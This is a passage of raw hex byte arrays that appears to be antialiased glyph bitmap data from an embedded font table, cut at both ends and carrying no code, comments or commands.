0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x9B, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0x49, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0xE7, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3,
0xA1, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x8B, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x05, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x45, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1D, 0x09,
0x7C, 0x7D, 0x7D, 0x7C, 0x0B, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x8E, 0x00, 0x00, 0x00,
0x03, 0xAC, 0xFF, 0xFF, 0xFC, 0x32, 0x00, 0x00, 0x00, 0x06, 0xBB, 0xFF, 0xFF, 0xCD, 0x03, 0x00,
0x00, 0x00, 0x0C, 0xC8, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x12, 0xA8, 0xB4, 0x9A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xC7, 0xC8, 0xC8, 0x70, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00,
0x00, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0x91, 0x00,
0x00, 0x00, 0x3A, 0x70, 0x70, 0x70, 0x44, 0x00, 0x00, 0x11, 0xE8, 0xFF, 0xFF, 0xF6, 0x3B, 0x00,
0x00, 0x9C, 0xFF, 0xFF, 0xFA, 0x4A, 0x00, 0x00, 0x3F, 0xFE, 0xFF, 0xFE, 0x5A, 0x00, 0x00, 0x07,
0xD8, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x00, 0x3C, 0xC0, 0xC0, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xC8, 0xC8, 0xA9, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0xDA, 0x00, 0x00, 0x00,
0x00, 0x00, 0x15, 0x91, 0x92, 0x92, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF,
0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x20, 0x00,
0x00, 0x25, 0xF4, 0xFF, 0xFF, 0x48, 0x9D, 0xFF, 0xFF, 0xC3, 0x02, 0x04, 0xC9, 0xFF, 0xFF, 0x93,
0x00, 0x0C, 0xDC, 0xFF, 0xFF, 0x7A, 0x23, 0x9E, 0x9E, 0x96, 0x09, 0x00, 0x00, 0x36, 0x9E, 0x9E,
0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA7, 0xC8, 0xC8, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF,
0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF,
0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC,
0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF,
0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0xFF, 0xDA, 0x00, 0x00, 0x00, 0x4F,
0x7E, 0x7E, 0x64, 0x00, 0x12, 0x7E, 0x7E, 0x7E, 0x22, 0xAA, 0xFF, 0xFF, 0xD5, 0x00, 0x30, 0xFF,
0xFF, 0xFF, 0x4F, 0xAA, 0xFF, 0xFF, 0xD5, 0x00, 0x30, 0xFF, 0xFF, 0xFF, 0x4F, 0xAA, 0xFF, 0xFF,
0xD5, 0x00, 0x30, 0xFF, 0xFF, 0xFF, 0x4F, 0x37, 0x5A, 0x5A, 0x46, 0x00, 0x0C, 0x5A, 0x5A, 0x5A,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA7, 0xC8,
0xC8, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF,
0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF,
0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF,
0xFF, 0xDA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x92, 0xAB, 0x88, 0x39,
0x00, 0x00, 0x00, 0xBF, 0xF5, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDC, 0x8D, 0xC3, 0xFF, 0xFF, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xF7, 0xFF, 0xF8, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC6, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xE1, 0x0F, 0x05, 0x49, 0xA3, 0xEF,
0xFF, 0xEE, 0x96, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x5F, 0x38,
0x00, 0x00, 0x00, 0x00, 0x02, 0x1C, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x74, 0xC8, 0xC8, 0xC8, 0xB4, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0xC8, 0xC8, 0xC7, 0x18, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0x7D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF,
0xFF, 0xFF, 0xF7, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF,
0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x24, 0x9B, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE9, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF,
0x24, 0x9B, 0xFF, 0xFF, 0xF1, 0xAB, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x19, 0xEF, 0xFF, 0xFF, 0xFE, 0x3C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00,
0x66, 0xFF, 0xFF, 0xFF, 0xD4, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25,
0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x01, 0xC3, 0xFF, 0xFF, 0xFF, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00,
0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x29, 0xF9, 0xFF, 0xFF, 0xF6,
0x22, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00,
0x00, 0x80, 0xFF, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B,
0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x07, 0xD7, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00, 0x63,
0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFE, 0xFF, 0xFF,
0xE7, 0x10, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF,
0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xE7, 0xFF, 0xFF, 0xFE, 0x39, 0x00, 0x63, 0xFF,
0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF,
0xFF, 0xD1, 0x04, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xB3, 0xFF, 0xFF, 0xFF, 0x76, 0x63, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF,
0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF3, 0xFF, 0xFF, 0xF5, 0x83, 0xFF, 0xFF,
0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x02, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x9B, 0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x09, 0xDD, 0xFF, 0xFF, 0xFF, 0xFF, 0x25, 0x96, 0xFF, 0xFF, 0xEC, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x2B, 0x2B, 0x2B, 0x1A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0xFB, 0xFF, 0xFF, 0xE7, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFE, 0xFF, 0xFF, 0x99, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x70, 0xFF, 0xFF, 0xFE, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF,
0xFF, 0xD5, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x05, 0x05, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x35, 0x4E, 0x66, 0x64, 0x58, 0x42, 0x20, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xA7,
0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x89, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xA9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF5, 0x7A, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xE3, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB0, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x75, 0x44, 0x14, 0x01,
0x25, 0x55, 0x90, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF,
0xFF, 0xFF, 0xFF, 0xA8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xE0, 0xFF, 0xFF,
0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x1D, 0xFA, 0xFF, 0xFF, 0xFF, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC6, 0xFF, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x91,
0xFF, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0xFD, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x15, 0xF5, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xFF, 0xAD, 0x00,
0x54, 0xFF, 0xFF, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xFF, 0xD6, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF,
0xF7, 0x01, 0x98, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xFF, 0x1A, 0xBB, 0xFF, 0xFF, 0xFF, 0x2A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E,
0xFF, 0xFF, 0xFF, 0x3C, 0xD9, 0xFF, 0xFF, 0xFF, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x45, 0xC9, 0xFF, 0xFF,
0xFF, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x24, 0xA4, 0xFF, 0xFF, 0xFF, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xFC, 0x05, 0x80,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xDD, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00,
